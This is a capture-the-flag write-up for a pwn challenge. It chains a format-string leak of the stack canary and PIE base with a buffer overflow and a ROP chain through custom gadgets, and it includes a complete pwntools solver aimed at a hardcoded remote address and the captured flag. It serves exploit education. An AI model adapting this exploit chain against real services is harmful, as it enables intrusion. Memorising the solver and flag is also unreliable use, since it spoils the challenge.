MOJO-JOJO CTF / Pwn WRITEUP
CS 12.06 - SYSTEM 2.0
XIIVI ONCE SAID "IINEK DIMA AL HOLILA"…
Walkthrough
Reconnaissance
pwndbg> checksec ./challenge
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Full protections enabled — canary, NX, and PIE. This is a multi-stage exploit.
Vulnerability Chain
Step 1: Format String Leak (in _log_handler)
printf(buffer); // format string vulnerability!
We leak the stack canary at offset %17$p and the PIE base at offset %19$p:
io.sendlineafter(b"required: ", b"%17$p.%19$p")
# Canary: 0x... PIE return addr: 0x...
Step 2: Buffer Overflow (in _auth_guard)
read(0, secure_phrase, 256); // 256 bytes into 32-byte buffer
With the canary leaked, we can overflow and restore the canary to bypass the check.
Step 3: ROP via Custom Gadgets
The binary contains hand-crafted gadgets in _proc_ctx:
- gadget1 (_proc_ctx_1): pop rbx; pop rbp; pop r12; pop r13; mov r14,[rsp]; mov r15,[rsp+8]; ret
- gadget2 (_proc_ctx_2): mov rdx,r14; mov rsi,r13; mov edi,r12d; xor rbx,0x1337; call *[r15+rbx*8]
The trick: _k_dispatch_table is a function pointer to _sys_maintenance. We set rbx = 0x1337 so rbx ^ 0x1337 = 0, indexing [r15] = _k_dispatch_table, which calls _sys_maintenance(0x1206, 0x1161, 0xcafebab) — the magic arguments that decrypt and read flag.txt.
Result
[+] Canary recovered: 0xa1b2c3d400000000
[+] PIE Base found: 0x555555554000
>>> DATA EXFILTRATED: MOJO-JOJO{f0rm4t_str1ng_t0_r0p_ch41n}
Reference solver
The reference solver supplied with the writeup:
from pwn import *
context.binary = b = ELF('./challenge', checksec=False)
def get_io():
if args.REMOTE:
return remote(args.HOST or '4.233.210.175', int(args.PORT or 9006))
return process(b.path)
# Single connection for Leak + Exploit (Canary is process-specific)
io = get_io()
# Leak Canary (17) and PIE (19)
io.sendlineafter(b"required: ", b"%17$p.%19$p")
io.recvuntil(b"confirmed: ")
leaks = io.recvline().strip().decode().split('.')
canary = int(leaks[0], 16)
pie = int(leaks[1], 16)
b.address = pie - 0x162c
success(f"Canary recovered: {hex(canary)}")
success(f"PIE Base found: {hex(b.address)}")
# Proceed to _auth_guard overflow in the same session
payload = flat([
b"A"*40, canary, b"B"*8,
b.address + 0x1498, # ret
b.address + 0x1482, # gadget 1 (_proc_ctx_1)
0x1337, 1, 0x1206, 0x1161, 0xcafebab,
b.address + 0x40b0, # k_dispatch_table
b.address + 0x149b # gadget 2 (_proc_ctx_2)
])
io.sendafter(b": ", payload)
print(io.recvall(timeout=5).decode('utf-8', 'replace'))
io.close()Flag
MOJO-JOJO{f0rm4t_str1ng_t0_r0p_ch41n}